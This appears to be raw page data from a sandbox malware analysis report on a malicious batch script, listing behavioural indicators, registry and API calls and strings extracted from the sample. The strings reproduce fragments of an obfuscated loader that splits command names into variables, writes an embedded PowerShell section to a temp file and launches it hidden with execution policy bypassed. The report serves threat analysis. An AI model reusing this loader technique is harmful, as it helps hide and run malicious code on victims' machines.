26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 64:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T456,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Sample e25aadf33d28… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample e25aadf33d28…. Threat score 100/100. 0/27 AV engines flagged this file. 8 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5","keywords":["Malicious","malware analysis","sandbox report","threat intelligence","e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5"],"about":{"@type":"SoftwareApplication","name":"e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin","applicationCategory":["script","bat"],"identifier":"e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5","additionalType":"Malicious sample"},"threatScore":100,"antivirusDetections":{"malicious":0,"total":27},"behavioralIndicators":{"malicious":8,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:Tcbc,file/memory contains long string with (Indicator: "Set-Content"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "!cGrmVeYP!!!uAM3sW! -NoProfile -ExecutionPolicy Bypass -Command "Get-Content '%~f0' -Tail !wGTf2iq! | Select-Object -First !hz3r! | Set-Content '!dgCV8F!' -Encoding UTF8"" (Indicator: "Set-Content"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-Content 'C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat' -Tail 15426 | Select-Object -First 41 | Set-Content '%TEMP%\svc_2842731493_26626.ps1' -Encoding UTF8"" (Indicator: "Set-Content"; File: "powershell.exe") Found string "-NoProfile -ExecutionPolicy Bypass -Command "Get-Content '%TEMP%\qrictpazfj4.bat' -Tail 283 -Encoding UTF8 | Set-Content '%TEMP%\volatile_module_292891825624175.ps1' -Encoding UTF8"" (Indicator: "Set-Content"; File: "powershell.exe") Found string "Get-Content 'C:\Users\HAPUBWS\AppData\Local\Temp\qrictpazfj4.bat' -Tail 283 -Encoding UTF8 | Set-Content 'C:\Users\HAPUBWS\AppData\Local\Temp\volatile_module_292891825624175.ps1' -Encoding UTF8" (Indicator: "Set-Content"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp, 00000000-00007712.00000000.156396.1BC10000.00000004.mdmp, 00000000-00007712.00000000.156396.7F4F0000.00000004.mdmp, 00000000-00007712.00000000.156396.7F730000.00000004.mdmp, 00000000-00007712.00000000.156396.7FBA0000.00000004.mdmp, 00000000-00007712.00000001.158316.1BC10000.00000004.mdmp, 00000000-00007712.00000001.158316.7F4F0000.00000004.mdmp, 00000000-00007712.00000001.158316.7F730000.00000004.mdmp, 00000000-00007712.00000001.158316.7FBA0000.00000004.mdmp, 00000000-00007712.00000002.160237.1BC10000.00000004.mdmp, 00000000-00007712.00000002.160237.7F4F0000.00000004.mdmp, 00000000-00007712.00000002.160237.7F730000.00000004.mdmp, 00000000-00007712.00000002.160237.7FBA0000.00000004.mdmp, 00000000-00007712.00000003.160629.1BC10000.00000004.mdmp, 00000000-00007712.00000003.160629.1C1F0000.00000004.mdmp, 00000000-00007712.00000003.160629.7F4F0000.00000004.mdmp, 00000000-00007712.00000003.160629.7F730000.00000004.mdmp, 00000000-00007712.00000003.160629.7FBA0000.00000004.mdmp") Found string "Set-Content" (Indicator: "Set-Content"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Users\HAPUBWS\AppData\Local\Temp\qrictpazfj4.bat' -Tail 283 -Encoding UTF8 | Set-Content 'C:\Users\HAPUBWS\AppData\Local\Temp\volatile_module_292891825624175.ps1' -Encoding UTF8" (Indicator: "Set-Content"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") file/memory contains long string with (Indicator: "Set-Content"; Source: "00000000-00007712.00000000.156396.7F4F0000.00000004.mdmp, 00000000-00007712.00000001.158316.7F4F0000.00000004.mdmp, 00000000-00007712.00000002.160237.7F4F0000.00000004.mdmp, 00000000-00007712.00000003.160629.7F4F0000.00000004.mdmp") file/memory contains long string with (Indicator: "Set-Content"; Source: "00000000-00007712.00000001.158316.7F4F0000.00000004.mdmp, 00000000-00007712.00000002.160237.7F4F0000.00000004.mdmp, 00000000-00007712.00000003.160629.1BC10000.00000004.mdmp")28:T511,Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp")29:T4cf,"powershell.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\INPROCSERVER32") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\INPROCSERVER32") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\INPROCSERVER32") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\INPROCSERVER32") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\INPROCHANDLER32") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\INPROCHANDLER32") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\INPROCHANDLER") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\INPROCHANDLER") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS")2a:T9ee,"cmd.exe" queried SystemProcessInformation at 00000000-00003128-00000C15-1405952663 [PID: 3128] "cmd.exe" queried SystemProcessInformation at 00000000-00003128-00000C15-1405959932 [PID: 3128] "cmd.exe" queried SystemProcessInformation at 00000000-00003128-00000C15-1406204158 [PID: 3128] "cmd.exe" queried SystemProcessInformation at 00000000-00003128-00000C15-1406213125 [PID: 3128] "powershell.exe" queried SystemProcessInformation at 00000000-00007840-00000C15-1406916861 [PID: 7840] "powershell.exe" queried SystemProcessInformation at 00000000-00007840-00000C15-1406925681 [PID: 7840] "powershell.exe" queried SystemProcessInformation at 00000000-00007840-00000C15-1408289459 [PID: 7840] "powershell.exe" queried SystemProcessInformation at 00000000-00007840-00000C15-1408296595 [PID: 7840] "powershell.exe" queried SystemProcessInformation at 00000000-00007840-00000C15-1409122205 [PID: 7840] "powershell.exe" queried SystemProcessInformation at 00000000-00007840-00000C15-1409130029 [PID: 7840] "powershell.exe" queried SystemProcessInformation at 00000000-00007840-00000C15-1409505747 [PID: 7840] "powershell.exe" queried SystemProcessInformation at 00000000-00007840-00000C15-1409513416 [PID: 7840] "powershell.exe" queried SystemProcessInformation at 00000000-00007840-00000C15-1409998967 [PID: 7840] "powershell.exe" queried SystemProcessInformation at 00000000-00007840-00000C15-1410007605 [PID: 7840] "powershell.exe" queried SystemProcessInformation at 00000000-00007840-00000C15-1411103604 [PID: 7840] "powershell.exe" queried SystemProcessInformation at 00000000-00007840-00000C15-1411848644 [PID: 7840] "powershell.exe" queried SystemProcessInformation at 00000000-00007840-00000C15-1411857467 [PID: 7840] "powershell.exe" queried SystemProcessInformation at 00000000-00007840-00000C15-1412288307 [PID: 7840] "powershell.exe" queried SystemProcessInformation at 00000000-00007840-00000C15-1412297474 [PID: 7840] "powershell.exe" queried SystemProcessInformation at 00000000-00007840-00000C15-1413518503 [PID: 7840] "powershell.exe" queried SystemProcessInformation at 00000000-00007840-00000C15-1413527414 [PID: 7840] "cmd.exe" queried SystemProcessInformation at 00000000-00003704-00000C15-1413927969 [PID: 3704] "cmd.exe" queried SystemProcessInformation at 00000000-00003704-00000C15-1413935985 [PID: 3704] "cmd.exe" queried SystemProcessInformation at 00000000-00003704-00000C15-1414467780 [PID: 3704] "cmd.exe" queried SystemProcessInformation at 00000000-00003704-00000C15-1414475963 [PID: 3704]2b:T493,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Able to decrypt/decode data Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Detected XOR operators (encryption/decryption) Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Able to import cryptographic keys (seen in ransomware) Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to decrypt data Matched sigs: HTTP requests contain Base64 strings Matched sigs: YARA signature match – Encryption algorithm2c:T817,file/memory contains long string(File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "for /f "delims=:" %%Z in ('findstr /n /C:"---BEGIN_PS---" "%~f0"') do set "xAqL6=%%Z"" (File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "for /f "delims=:" %%Z in ('findstr /n /C:"---BEGIN_ENC---" "%~f0"') do set "sANDGPuv=%%Z"" (File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "%WINDIR%\system32\cmd.exe /c findstr /n /C:"---BEGIN_PS---" "C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5" (Source: "00000000-00003704-00000C46-4673685610"), Found string "%WINDIR%\system32\cmd.exe /c findstr /n /C:"---BEGIN_ENC---" "C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da" (Source: "00000000-00003704-00000C46-6575474208") Found string "%WINDIR%\system32\findstr.exe" (Source: "00000000-00007156-00000C46-1347115208") Found string "findstr /n /C:"---BEGIN_PS---" "C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" (Source: "00000000-00007156-00000C46-1347115208") Found string "%WINDIR%\System32\findstr.exe" (Source: "00000000-00007156-00000BC0-1416279048") Found string "findstr /n /C:"---BEGIN_ENC---" "C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" (Source: "00000000-00006516-00000C46-1396895732") Found string "%WINDIR%\system32\cmd.exe /c findstr /n /C:"---BEGIN_PS---" "%TEMP%\qrictpazfj4.bat"" (Source: "00000000-00006932-00000C46-5006876198") Found string "findstr /n /C:"---BEGIN_PS---" "%TEMP%\qrictpazfj4.bat"" (Source: "00000000-00006156-00000C46-1458905402") Found string "/c findstr /n /C:"---BEGIN_PS---" "C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" (File: "cmd.exe") Found string "/c findstr /n /C:"---BEGIN_ENC---" "C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" (File: "cmd.exe") Found string "/c findstr /n /C:"---BEGIN_PS---" "%TEMP%\qrictpazfj4.bat"" (File: "cmd.exe")2d:T163a,"cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003128) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003128) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007840) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007840) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac2c83f97f0000000000000000000051ed2984f97f0000000000006702000000000000000000003dd250302d6400002a0000000000000000c28c83670200008fec2984f97f0000e0ac2c83f97f0000e0ac2c83f97f0000000000000000000000000000f97f0000ffffff7f4616000000000000000000000000000000000000d8ce2083f97f00002a0000000000000069c3d982f97f00003100000000000000f003000000000000f403000000000000110001100000000010d69f62ad00000003a38e81f97f000010d69f62ad00000000000000000000002b00000000000000000000000000000020b0df82f97f0000b43fde82f97f0000e0ce2083 (UID: 00000000-00007840) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000400000000000000000009d83670200000b8e2784f97f000000009d836702000002000000670200003800000000000000400000000000000030039d836702000038e48c63ad0000000100000000000000030000000000000001000000000000000b0000000000000020107c8367020000000000000000000000007c83670200004009d19d6702000000000000000000000b000000010000000000000000000000000000000000000004000000000000000000000000000000e80bd19d6702000004000000000000003800000000000000f0988d81f97f000038000000000000003800000000000000b0e58c63ad000000c00c724cf97f000000000000 (UID: 00000000-00007840) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b07768f97f000007000000000000000000000000000000010000000000000040ee9d8367020000000000000000000020a6129e670200004c988d81f97f000010cb129e67020000b3ce684cf97f000020ab129e67020000004f7768f97f0000d0b07768f97f00000000000000000000000000000000000020ab129e6702000040ee9d836702000070e1129e6702000008e68c63ad0000004c988d81f97f0000010000000000000008e68c63ad00000070e1129e6702000020ab129e67020000010000000000000002bc684cf97f000070a6129e67020000106e119e67020000feffffff040000007df07668f97f0000f0e1129e (UID: 00000000-00007840) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000007000000000000000000000000000000010000000000000040ee9d8367020000000000000000000020a6129e670200004c988d81f97f000090c4129e67020000b3ce684cf97f000030aa129e67020000384f7768f97f0000d0b07768f97f00000000000000000000000000000000000030aa129e6702000040ee9d836702000070e1129e6702000000e68c63ad0000004c988d81f97f0000010000000000000000e68c63ad00000070e1129e6702000030aa129e67020000010000000000000002bc684cf97f00000000000000000000106e119e6702000070a6129e04000000feffffffffffffff40ee9d83670200007df07668f97f000000000000 (UID: 00000000-00007840) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000038010000000000007070ce9d6702000001000000000000000000000000000000000000000000000000000000000000008d290272f97f0000020100000000000030162984f97f000038010000000000000000000000000000d8a68c63ad0000001b8008000000000090a78c63ad000000580600000000000040ae8c63ad0000001800000000000000000000000000000000000000f97f00001800000000000000000000000000000040ae8c63ad000000f1220272f97f000058af8c63ad00000070ad8c63ad00000058ae8c63ad000000250c00000000000040ae8c63ad00000018000000ad0000000000000000000000ffffffff0000000000000000 (UID: 00000000-00007840)2e:T760,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007840) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c00750063007200740062006100730065005f0063006c00720030003400300030002e0064006c006c00000000001230560032003000 (UID: 00000000-00008244) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006f00770073005c00730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e006500780065002e0063006f006e00660069006700000000000000000000000000 (UID: 00000000-00008432) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e0065007800650000005c006d0061006300680069006e0065002e006300060000067fc0000050794f7f (UID: 00000000-00007712) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e006500780065000000f0010000d0678c52f001000010688c52f001000006000006ffa10000c02c8a52 (UID: 00000000-00007736)2f:T5f3,"cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME")30:Te26,file/memory contains long string with (Indicator: ""set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "aZSVpxU=3a255"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "gPoBC=e53d3"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "pC49eh=!aZSVpxU!!!gPoBC!"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "UEOOT9MC=%~f0"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "p3MYq=Sys"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "xs1opVy=tem32"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "oZnvLGp=\cmd.exe"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "l89zvXr=%windir%\!p3MYq!!!xs1opVy!!!oZnvLGp!"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "cGrmVeYP=power"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "uAM3sW=shell"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "aKYnA6g7=$q=[char]34"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "t19yA8Pe=$a='/c '+$q+$q+$env:UEOOT9MC+$q+$q+' !pC49eh!'"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "aNQNCLi=$i=New-Object System.Diagnostics.ProcessStartInfo('!l89zvXr!',$a)"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "lNY1rga3=$i.WindowStyle=[System.Diagnostics.ProcessWindowStyle]::Hidden"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "r6kvN=[System.Diagnostics.Process]::Start($i)|Out-Null"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "gx1Oqpb=%RANDOM%"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "ivMW=%RANDOM%"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "hwineDE=%RANDOM%"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "dgCV8F=%TEMP%\svc_!gx1Oqpb!!!ivMW!_!hwineDE!.ps1"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "iS3x=0"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "iS3x=!iS3x!"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "xAqL6=0"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "xAqL6=!xAqL6!"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "set "sANDGPuv=0"" (Indicator: "set "; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin")31:T1456,"powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007840-00000C17-1410578284 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00007840-00000C17-1411027554 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00007840-00000C17-1411453836 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00007840-00000C17-1411962672 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007840-00000C17-1412891987 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007840-00000C17-1413033986 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007840-00000C17-1413093199 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008244-00000C17-1420591821 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00008244-00000C17-1421381258 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00008244-00000C17-1421818850 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00008244-00000C17-1422076281 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008244-00000C17-1423014427 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008244-00000C17-1423248655 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008244-00000C17-1423340737 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008244-00000C17-1423387821 "powershell.exe" queries volume information of 